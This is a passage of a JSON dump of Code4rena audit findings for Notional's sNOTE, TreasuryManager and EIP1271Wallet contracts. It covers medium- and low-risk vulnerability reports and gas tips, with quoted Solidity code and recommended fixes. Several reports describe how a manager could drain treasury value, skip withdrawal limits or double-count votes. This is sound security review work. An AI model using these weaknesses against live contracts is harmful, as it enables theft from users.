the amount the maker receives. This can be abused to effectively burn treasury tokens at no cost to the order taker. ## Proof of Concept https://github.com/0xProject/0x-monorepo/blob/0571244e9e84b9ad778bccb99b837dd6f9baaf6e/contracts/exchange/contracts/src/MixinExchangeCore.sol#L196-L250 https://github.com/0xProject/0x-monorepo/blob/0571244e9e84b9ad778bccb99b837dd6f9baaf6e/contracts/exchange-libs/contracts/src/LibFillResults.sol#L59-L91 https://github.com/code-423n4/2022-01-notional/blob/main/contracts/utils/EIP1271Wallet.sol#L147-L188 ``` function _validateOrder(bytes memory order) private view { ( address makerToken, address takerToken, address feeRecipient, uint256 makerAmount, uint256 takerAmount ) = _extractOrderInfo(order); // No fee recipient allowed require(feeRecipient == address(0), \"no fee recipient allowed\"); // MakerToken should never be WETH require(makerToken != address(WETH), \"maker token must not be WETH\"); // TakerToken (proceeds) should always be WETH require(takerToken == address(WETH), \"taker token must be WETH\"); address priceOracle = priceOracles[makerToken]; // Price oracle not defined require(priceOracle != address(0), \"price oracle not defined\"); uint256 slippageLimit = slippageLimits[makerToken]; // Slippage limit not defined require(slippageLimit != 0, \"slippage limit not defined\"); uint256 oraclePrice = _toUint( AggregatorV2V3Interface(priceOracle).latestAnswer() ); uint256 priceFloor = (oraclePrice * slippageLimit) / SLIPPAGE_LIMIT_PRECISION; uint256 makerDecimals = 10**ERC20(makerToken).decimals(); // makerPrice = takerAmount / makerAmount uint256 makerPrice = (takerAmount * makerDecimals) / makerAmount; require(makerPrice >= priceFloor, \"slippage is too high\"); } ``` ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider checking that `makerFee == 0` and `takerFee == 0` in `EIP1271Wallet._validateOrder` s.t. the treasury manager cannot sign unfair orders which severely impact the `TreasuryManager` contract. "}, {"title": "`sNOTE` Holders Are Not Incetivized To Vote On Proposals To Call `extractTokensForCollateralShortfall`", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/229", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-notional-findings", "body": "`sNOTE` Holders Are Not Incetivized To Vote On Proposals To Call `extractTokensForCollateralShortfall`"}, {"title": "Prefix (`++i`), rather than postfix (`i++`), increment/decrement operators should be used in for-loops", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/228", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle IllIllI # Vulnerability details ## Impact When the value of the post-loop increment/decrement is not stored or used in any calculations, the prefix increment/decrement operators (`++i`/`--i`) cost less gas PER LOOP than the postfix increment/decrement operators (`i++`/`i--`) ## Proof of Concept There is one example of this issue in the codebase: ```Solidity for (uint256 i; i < currencies.length; i++) { ``` https://github.com/code-423n4/2022-01-notional/blob/main/contracts/TreasuryAction.sol#L157 ## Tools Used Code inspection ## Recommended Mitigation Steps Use `++i` rather than `i++` in all places "}, {"title": "`extractTokensForCollateralShortfall` Can Be Frontrun By Non-Stakers", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/227", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2022-01-notional-findings", "body": "`extractTokensForCollateralShortfall` Can Be Frontrun By Non-Stakers"}, {"title": "Improper Contract Upgrades Can Lead To Loss Of Contract Ownership", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/223", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-notional-findings", "body": "Improper Contract Upgrades Can Lead To Loss Of Contract Ownership"}, {"title": "`getVotingPower` Truncates Result Leading To Inaccuracies In Voting Power", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/222", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `getVotingPower` function is an essential part of Notional's on-chain governance. However, the `priceRatio` calculation includes a division which slightly truncates the result which is then used in calculating `noteAmount` which also divides the result. ## Proof of Concept https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L271-L293 ``` function getVotingPower(uint256 sNOTEAmount) public view returns (uint256) { // Gets the BPT token price (in ETH) uint256 bptPrice = IPriceOracle(address(BALANCER_POOL_TOKEN)).getLatest(IPriceOracle.Variable.BPT_PRICE); // Gets the NOTE token price (in ETH) uint256 notePrice = IPriceOracle(address(BALANCER_POOL_TOKEN)).getLatest(IPriceOracle.Variable.PAIR_PRICE); // Since both bptPrice and notePrice are denominated in ETH, we can use // this formula to calculate noteAmount // bptBalance * bptPrice = notePrice * noteAmount // noteAmount = bptPrice/notePrice * bptBalance uint256 priceRatio = bptPrice * 1e18 / notePrice; uint256 bptBalance = BALANCER_POOL_TOKEN.balanceOf(address(this)); // Amount_note = Price_NOTE_per_BPT * BPT_supply * 80% (80/20 pool) uint256 noteAmount = priceRatio * bptBalance * 80 / 100; // Reduce precision down to 1e8 (NOTE token) // priceRatio and bptBalance are both 1e18 (1e36 total) // we divide by 1e28 to get to 1e8 noteAmount /= 1e28; return (noteAmount * sNOTEAmount) / totalSupply(); } ``` ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider performing all multiplication before division to minimise the degree of truncation by the final result. "}, {"title": "Double _requireAccountNotInCoolDown", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/214", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle Tomio # Vulnerability details ## Impact The check to make sure account is not in cool down is happening twice, on _mint() and _beforeTokenTransfer(), _beforeTokenTransfer() already has a _requireAccountNotInCoolDown() an the _mint() inside erc20upgradable will call the _beforeTokenTransfer(), this can make unnecessary call in the https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L328. ## Proof of Concept https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L328. ## Tools Used ## Recommended Mitigation Steps "}, {"title": "Optimization on _redeemAndTransfer", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/213", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle Tomio # Vulnerability details ## Impact There is unnecessary if else condition on _redeemAndTransfer(), and can be optimized by removing the inline if else condition on line https://github.com/code-423n4/2022-01-notional/blob/main/contracts/TreasuryAction.sol#L137-L140 ## Proof of Concept https://github.com/code-423n4/2022-01-notional/blob/main/contracts/TreasuryAction.sol#L137-L140 ## Tools Used ## Recommended Mitigation Steps From: ``` if (underlying.tokenAddress == address(0)) { WETH9(WETH).deposit{value: address(this).balance}(); } address underlyingAddress = underlying.tokenAddress == address(0) ? address(WETH) : underlying.tokenAddress; IERC20(underlyingAddress).safeTransfer(treasuryManagerContract, redeemedExternalUnderlying); ``` To: ``` if (underlying.tokenAddress == address(0)) { WETH9(WETH).deposit{value: address(this).balance}(); IERC20(WETH).safeTransfer(treasuryManagerContract, redeemedExternalUnderlying); }else{ IERC20(underlying.tokenAddress).safeTransfer(treasuryManagerContract, redeemedExternalUnderlying); } ``` "}, {"title": "considered changing it to storage ", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-notional-findings", "body": "considered changing it to storage "}, {"title": "MAX_SHORTFALL_WITHDRAW limit on BTP extraction is not enforced", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/209", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle gellej # Vulnerability details ## Impact The function `extractTokensForCollateralShortfall()` allows the owner of the sNote contract to withdraw up to 50% of the total amount of BPT. Presumably, this 50% limit is in place to prevent the owner from \"rug-pulling\" the sNote holders (or at least to give them a guarantee that their loss is limited to 50% of the underlying value). However, this limit is easily circumvented as the function can simply be called a second, third and fourth time, to withdraw almost all of the BPT. As the contract does not enforce this limit, the bug requires stakers to trust the governance to not withdraw more than 50% of the underlying collateral. This represents a higher risk for the stakers, which may also result in a larger discount on sNote wrt its BPT collateral (this is why I classified the bug as medium risk - users may lose value - not from an exploit, but from the lack of enforcing the 50% rule) # Proof of Concept See above. The code affected is here: https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L100 ## Recommended Mitigation Steps Rewrite the logic and enforce a limit during a time period - i.e. do not allow to withdraw over 50% _per week_ (or any time period that is longer than the cooldown period, so that users have time to withdraw their collateral) "}, {"title": "Unused state variables", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/204", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "Unused state variables"}, {"title": "Inclusive conditions", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/202", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-notional-findings", "body": "Inclusive conditions"}, {"title": "Gas: `reserveInternal.subNoNeg(bufferInternal)` can be unchecked", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/199", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle cmichel # Vulnerability details The `reserveInternal.subNoNeg(bufferInternal)` computation in `TreasuryAction.transferReserveToTreasury` can be a standard, unchecked subtraction as `if (reserveInternal <= bufferInternal) continue;` is checked before this computation. "}, {"title": "`makerPrice` assumes oracle price is always in 18 decimals", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/198", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle cmichel # Vulnerability details The `EIP1271Wallet._validateOrder` function computes a `makerPrice` which ends up in `takerAmount` decimals which are 18 decimals as `takerToken` is always `WETH`. It is compared to the `priceFloor` return value from chainlink which must therefore also be in 18 decimals. This seems to be the case for this old deprecated API but should be fixed and adjusted to use the oracle decimals if Chainlink is upgraded to the new API. ## Recommended Mitigation Steps Upgrade and adjust the decimals of `makerPrice` to match `priceFloor` decimals. "}, {"title": "Usage of deprecated ChainLink API in `EIP1271Wallet`", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/197", "labels": ["bug", "2 (Med Risk)"], "target": "2022-01-notional-findings", "body": "Usage of deprecated ChainLink API in `EIP1271Wallet`"}, {"title": "`StorageId` enums may never be shuffled", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/196", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-notional-findings", "body": "`StorageId` enums may never be shuffled"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/195", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "Missing parameter validation"}, {"title": "Treasury cannot claim COMP tokens & COMP tokens are stuck", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/192", "labels": ["bug", "3 (High Risk)", "disagree with severity"], "target": "2022-01-notional-findings", "body": "Treasury cannot claim COMP tokens & COMP tokens are stuck"}, {"title": "No upper limit check on swap fee Percentage", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/182", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-notional-findings", "body": "No upper limit check on swap fee Percentage"}, {"title": "`sNOTE.sol#_mintFromAssets()` Lack of slippage control", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/181", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle WatchPug # Vulnerability details ttps://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L195-L209 ```solidity BALANCER_VAULT.joinPool{value: msgValue}( NOTE_ETH_POOL_ID, address(this), address(this), // sNOTE will receive the BPT IVault.JoinPoolRequest( assets, maxAmountsIn, abi.encode( IVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT, maxAmountsIn, 0 // Accept however much BPT the pool will give us ), false // Don't use internal balances ) ); ``` The current implementation of `mintFromNOTE()` and `mintFromETH()` and `mintFromWETH()` (all are using `_mintFromAssets()` with `minimumBPT` hardcoded to `0`) provides no parameter for slippage control, making it vulnerable to front-run attacks. ### Recommendation Consider adding a `minAmountOut` parameter for these functions. "}, {"title": "Multiple Missing zero address checks ", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/174", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-notional-findings", "body": "Multiple Missing zero address checks "}, {"title": "Missing validation check in totalSupply()", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/170", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle SolidityScan # Vulnerability details ## Description The value of `totalSupply()` at https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L260 does not check if the value of totalSupply is 0 or not and it is per ## Impact The return value for the function `getPoolTokenShare` can be invalid because if there's an error in the `totalSupply()` the code at Line 260 will evaluate to divide by zero creating inconsistencies in the function logic. ## Proof of Concept 1. Check the function at https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L257-L261 2. At line 260 we will notice that the value of totalSupply() is directly being used to perform division to the multiplication of `bptBalance * sNOTEAmount` ## Recommended Mitigation Steps Add a check if the value of `totalSupply()` is zero or not or some other edge cases that can cause inconsistencies. "}, {"title": "`getVotingPower` Is Not Equipped To Handle On-Chain Voting", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/165", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact As `NOTE` continues to be staked in the `sNOTE` contract, it is important that Notional's governance is able to correctly handle on-chain voting by calculating the relative power `sNOTE` has in terms of its equivalent `NOTE` amount. `getVotingPower` is a useful function in tracking the relative voting power a staker has, however, it does not utilise any checkpointing mechanism to ensure the user's voting power is a snapshot of a specific block number. As a result, it would be possible to manipulate a user's voting power by casting a vote on-chain and then have them transfer their `sNOTE` to another account to then vote again. ## Proof of Concept https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L271-L293 ``` function getVotingPower(uint256 sNOTEAmount) public view returns (uint256) { // Gets the BPT token price (in ETH) uint256 bptPrice = IPriceOracle(address(BALANCER_POOL_TOKEN)).getLatest(IPriceOracle.Variable.BPT_PRICE); // Gets the NOTE token price (in ETH) uint256 notePrice = IPriceOracle(address(BALANCER_POOL_TOKEN)).getLatest(IPriceOracle.Variable.PAIR_PRICE); // Since both bptPrice and notePrice are denominated in ETH, we can use // this formula to calculate noteAmount // bptBalance * bptPrice = notePrice * noteAmount // noteAmount = bptPrice/notePrice * bptBalance uint256 priceRatio = bptPrice * 1e18 / notePrice; uint256 bptBalance = BALANCER_POOL_TOKEN.balanceOf(address(this)); // Amount_note = Price_NOTE_per_BPT * BPT_supply * 80% (80/20 pool) uint256 noteAmount = priceRatio * bptBalance * 80 / 100; // Reduce precision down to 1e8 (NOTE token) // priceRatio and bptBalance are both 1e18 (1e36 total) // we divide by 1e28 to get to 1e8 noteAmount /= 1e28; return (noteAmount * sNOTEAmount) / totalSupply(); } ``` ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider implementing a `getPriorVotingPower` function which takes in a `blockNumber` argument and returns the correct balance at that specific block. "}, {"title": "Gas Optimization: Unnecessary comparison", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle gzeon # Vulnerability details ## Impact In `_requireAccountNotInCoolDown` if `block.timestamp < coolDown.redeemWindowEnd`, we must have `coolDown.redeemWindowEnd > 0` hence `0 < coolDown.redeemWindowBegin` https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L308 ``` bool isInCoolDown = (0 < coolDown.redeemWindowBegin && block.timestamp < coolDown.redeemWindowEnd); require(!isInCoolDown, \"Account in Cool Down\"); ``` to ``` require(block.timestamp >= coolDown.redeemWindowEnd, \"Account in Cool Down\"); ``` "}, {"title": "`_validateOrder` Does Not Allow Anyone To Be A Taker Of An Off-Chain Order", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/152", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `EIP1271Wallet` contract intends to allow the treasury manager account to sign off-chain orders in 0x on behalf of the `TreasuryManager` contract, which holds harvested assets/`COMP` from Notional. While the `EIP1271Wallet._validateOrder` function mostly prevents the treasury manager from exploiting these orders, it does not ensure that the `takerAddress` and `senderAddress` are set to the zero address. As a result, it is possible for the manager to have sole rights to an off-chain order and due to the flexibility in `makerPrice`, the manager is able to extract value from the treasury by maximising the allowed slippage. By setting `takerAddress` to the zero address, any user can be the taker of an off-chain order. By setting `senderAddress` to the zero address, anyone is allowed to access the exchange methods that interact with the order, including filling the order itself. Hence, these two order addresses can be manipulated by the manager to effectively restrict order trades to themselves. ## Proof of Concept https://github.com/0xProject/0x-monorepo/blob/0571244e9e84b9ad778bccb99b837dd6f9baaf6e/contracts/exchange-libs/contracts/src/LibOrder.sol#L66 ``` address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order. ``` https://github.com/0xProject/0x-monorepo/blob/0571244e9e84b9ad778bccb99b837dd6f9baaf6e/contracts/exchange/contracts/src/MixinExchangeCore.sol#L196-L250 https://github.com/0xProject/0x-monorepo/blob/0571244e9e84b9ad778bccb99b837dd6f9baaf6e/contracts/exchange/contracts/src/MixinExchangeCore.sol#L354-L374 https://github.com/code-423n4/2022-01-notional/blob/main/contracts/utils/EIP1271Wallet.sol#L147-L188 ``` function _validateOrder(bytes memory order) private view { ( address makerToken, address takerToken, address feeRecipient, uint256 makerAmount, uint256 takerAmount ) = _extractOrderInfo(order); // No fee recipient allowed require(feeRecipient == address(0), \"no fee recipient allowed\"); // MakerToken should never be WETH require(makerToken != address(WETH), \"maker token must not be WETH\"); // TakerToken (proceeds) should always be WETH require(takerToken == address(WETH), \"taker token must be WETH\"); address priceOracle = priceOracles[makerToken]; // Price oracle not defined require(priceOracle != address(0), \"price oracle not defined\"); uint256 slippageLimit = slippageLimits[makerToken]; // Slippage limit not defined require(slippageLimit != 0, \"slippage limit not defined\"); uint256 oraclePrice = _toUint( AggregatorV2V3Interface(priceOracle).latestAnswer() ); uint256 priceFloor = (oraclePrice * slippageLimit) / SLIPPAGE_LIMIT_PRECISION; uint256 makerDecimals = 10**ERC20(makerToken).decimals(); // makerPrice = takerAmount / makerAmount uint256 makerPrice = (takerAmount * makerDecimals) / makerAmount; require(makerPrice >= priceFloor, \"slippage is too high\"); } ``` ## Tools Used Manual code review. Discussions with Notional team. ## Recommended Mitigation Steps Consider adding `require(takerAddress == address(0), \"manager cannot set taker\");` and `require(senderAddress == address(0), \"manager cannot set sender\");` statements to `_validateOrder`. This should allow any user to fill an order and prevent the manager from restricting exchange methods to themselves. "}, {"title": "Oracle Time Interval Is Small", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/150", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-notional-findings", "body": "Oracle Time Interval Is Small"}, {"title": "TreasuryManager and sNOTE events aren't indexed", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/131", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle hyh # Vulnerability details ## Impact No events in TreasuryManager and sNOTE contracts are indexed, so their filtering is disabled, which makes it harder to programmatically use the system ## Proof of Concept TreasuryManager events don't have indices: https://github.com/code-423n4/2022-01-notional/blob/main/contracts/TreasuryManager.sol#L38-41 sNOTE events also aren't indexed: https://github.com/code-423n4/2022-01-notional/blob/main/contracts/sNOTE.sol#L43-50 ## Recommended Mitigation Steps Consider adding the indices to the key parameters, first of all owner and account addresses "}, {"title": "Gas in `TreasuryManager.sol`: Inline function `_investWETHToBuyNOTE()`", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/129", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle Dravee # Vulnerability details Here's the only `_investWETHToBuyNOTE()` call: ``` File: TreasuryManager.sol 140: function investWETHToBuyNOTE(uint256 wethAmount) external onlyManager { 141: _investWETHToBuyNOTE(wethAmount); 142: } ``` While I can understand why some functions have the same style, these other functions are as such because they are calling an inherited function, as an example for `setSlippageLimit()`, which really is calling an inherited function from `EIP1271Wallet.sol`: ``` File: TreasuryManager.sol 89: function setSlippageLimit(address tokenAddress, uint256 slippageLimit) 90: external 91: onlyOwner 92: { 93: _setSlippageLimit(tokenAddress, slippageLimit); 94: } ``` However, for `_investWETHToBuyNOTE()`, this style doesn't hold. ## Recommended Mitigation Steps All the logic from `_investWETHToBuyNOTE()` should be inlined in `investWETHToBuyNOTE()` to save gas. "}, {"title": "Gas in `Bitmap.sol:getMSB()`: unnecessary arithmetic operation", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost due to unnecessary arithmetic operation ## Proof of Concept See the @audit-info tag: ``` File: Bitmap.sol 46: function getMSB(uint256 x) internal pure returns (uint256 msb) { 47: // If x == 0 then there is no MSB and this method will return zero. That would 48: // be the same as the return value when x == 1 (MSB is zero indexed), so instead 49: // we have this require here to ensure that the values don't get mixed up. 50: require(x != 0); // dev: get msb zero value 51: if (x >= 0x100000000000000000000000000000000) { 52: x >>= 128; 53: msb += 128; //@audit-info this one and only can be replaced with = 54: } 55: if (x >= 0x10000000000000000) { 56: x >>= 64; 57: msb += 64; 58: } 59: if (x >= 0x100000000) { 60: x >>= 32; 61: msb += 32; 62: } 63: if (x >= 0x10000) { 64: x >>= 16; 65: msb += 16; 66: } 67: if (x >= 0x100) { 68: x >>= 8; 69: msb += 8; 70: } 71: if (x >= 0x10) { 72: x >>= 4; 73: msb += 4; 74: } 75: if (x >= 0x4) { 76: x >>= 2; 77: msb += 2; 78: } 79: if (x >= 0x2) msb += 1; // No need to shift xc anymore 80: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps On line 53, and only there, it is absolutely certain that `+=` can be replaced with `=`, which would look like this: ``` 53: msb = 128; ``` "}, {"title": "`BalanceHandler.sol:getBalanceStorage()`: `store` is used only once and shouldn't get cached", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost ## Proof of Concept `store` is a variable used only once. A comment should suffice instead of a variable (see @audit-info): ``` File: BalanceHandler.sol 72: mapping(address => mapping(uint256 => BalanceStorage)) storage store = LibStorage.getBalanceStorage(); //@audit-info store is used only once, below 73: BalanceStorage storage balanceStorage = store[account][currencyId]; ``` ## Tools Used VS Code ## Recommended Mitigation Steps Do not store this data in a variable. Inline it instead: ``` BalanceStorage storage balanceStorage = LibStorage.getBalanceStorage()[account][currencyId]; ``` "}, {"title": "`approve()` return value not checked", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/115", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-notional-findings", "body": "`approve()` return value not checked"}, {"title": "Remove unnecessary super._beforeTokenTransfer()", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The sNOTE.sol `_beforeTokenTransfer()` function overrides the ERC20 `_beforeTokenTransfer()` function, but also calls `super._beforeTokenTransfer()`. This call to the parent function is unnecessary because no actions are performed, so it can be removed to save gas. This function call is probably placed here for consistency with the `_afterTokenTransfer()` function, but it is unnecessary with the current code (unlike the call in the `_afterTokenTransfer()` function) ## Proof of Concept [Line 374 of sNOTE.sol](https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L374) calls super._beforeTokenTransfer(), which does not need to be called because it performs no actions. ## Recommended Mitigation Steps Remove line 374 from sNOTE.sol to remove the `super._beforeTokenTransfer()` call "}, {"title": "`TreasuryAction.sol:transferReserveToTreasury()`: Missing @return comment ", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/111", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-notional-findings", "body": "`TreasuryAction.sol:transferReserveToTreasury()`: Missing @return comment "}, {"title": "Revert string > 32 bytes", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/110", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "Revert string > 32 bytes"}, {"title": "`TreasuryAction.sol`:`modifier onlyOwner()`'s revert message is confusing", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/106", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-notional-findings", "body": "`TreasuryAction.sol`:`modifier onlyOwner()`'s revert message is confusing"}, {"title": "setReserveCashBalance can only set less reserves", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/103", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle GeekyLumberjack # Vulnerability details ## Impact There is a fairly decent chance that setReserveCashBalance will mistakenly be set too low. Unlike the case for addresses, the number required is more likely to be manually typed. This will lead to higher chance of a mistype causing unusable reserves. With some functions risks like these are unavoidable. However, in this case, the actions are already performed with a trusted party. ## Proof of Concept 1. call [setReserveCashBalance()](https://github.com/code-423n4/2022-01-notional/blob/main/contracts/TreasuryAction.sol#L80-L91) with the newBalance parameter set to 1. 2. call setReserveCashBalance() with newBalance parameter set to 100. 3. balanceStorage.cashBalance will still be set to 1. Step 2 would have reverted due to `require(newBalance < reserveBalance, \"cannot increase reserve balance\");` ## Tools Used Manual Analysis ## Recommended Mitigation Step Consider removing `require(newBalance < reserveBalance, \"cannot increase reserve balance\");` https://github.com/code-423n4/2022-01-notional/blob/main/contracts/TreasuryAction.sol#L88 "}, {"title": "Gas: When a function use the `onlyOwner` modifier, use `msg.sender` instead of `owner`", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/97", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle Dravee # Vulnerability details ## Impact `msg.sender` costs 2 gas (CALLER opcode) `owner` costs 100 gas (SLOAD opcode) The `onlyOwner` modifier already checks that `msg.sender == owner`. ## Proof of Concept Instances include: ``` contracts\\sNOTE.sol:118: payable(owner), // Owner will receive the NOTE and WETH contracts\\TreasuryManager.sol:108: IERC20(token).safeTransfer(owner, amount); ``` ## Tools Used VS Code ## Recommended Mitigation Steps When a function use the `onlyOwner` modifier, use `msg.sender` instead of `owner` "}, {"title": "Gas: Places where both the `return` statement and a named `returns` are used", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-notional-findings", "body": "Gas: Places where both the `return` statement and a named `returns` are used"}, {"title": "Gas: Missing checks for non-zero transfer value calls", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "Gas: Missing checks for non-zero transfer value calls"}, {"title": "Consider making contracts Pausable", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/90", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-notional-findings", "body": "Consider making contracts Pausable"}, {"title": "Gas: Use Custom Errors instead of Revert Strings to save Gas", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-notional-findings", "body": "Gas: Use Custom Errors instead of Revert Strings to save Gas"}, {"title": "Conversions between sNOTE and BPT when burning cause less sNOTE to be burned than expected", "html_url": "https://github.com/code-423n4/2022-01-notional-findings/issues/71", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2022-01-notional-findings", "body": "# Handle TomFrenchBlockchain # Vulnerability details ## Impact `sNOTE.redeem` burns an amount of sNOTE other than `sNOTEAmount`, potentially giving a better rate to redeemers than it should. ## Proof of Concept Following the process of burning sNOTE for BPT: https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L238-L252 1. We pass an amount of sNOTE to burn which is converted into BPT. (L248) https://github.com/code-423n4/2022-01-notional/blob/d171cad9e86e0d02e0909eb66d4c24ab6ea6b982/contracts/sNOTE.sol#L315-L323 2. We calculate the what fraction of the total amount of BPT this user is entitled to this amount of BPT represents and then multiply that by their balance of sNOTE (L320) Rather than burning `sNOTEAmount` we then end up burning ``` realSNOTEAmount = balanceOf(account) * getPoolTokenShare(sNOTEAmount) / getPoolTokenShare(balanceOf(account)) ``` This looks to round down such that we end up burning less sNOTE than expected. We're then going to be giving the user a slightly better rate of BPT for sNOTE than we should whereas any rounding should be in favour of the sNOTE contract. In any case, we're performing many reads from storage (including from other contracts) in order to calculate a value which was originally passed by the user so using `sNOTEAmount` directly would be a gas optimisation. ## Recommended Mitigation Steps Change `_burn` to take an amount of sNOTE to burn as an argument rather than an amount of BPT which is equivalent to the amount of sNOTE to be burnt. `sNOTEAmount` can then be passed from the `redeem` function directly. `bptToRedeem` will still be rounded down so sNOTE will always have favourable rounding. "}, {"title": "Cooldown and redeem windows can be rendered useless.", "html_url": 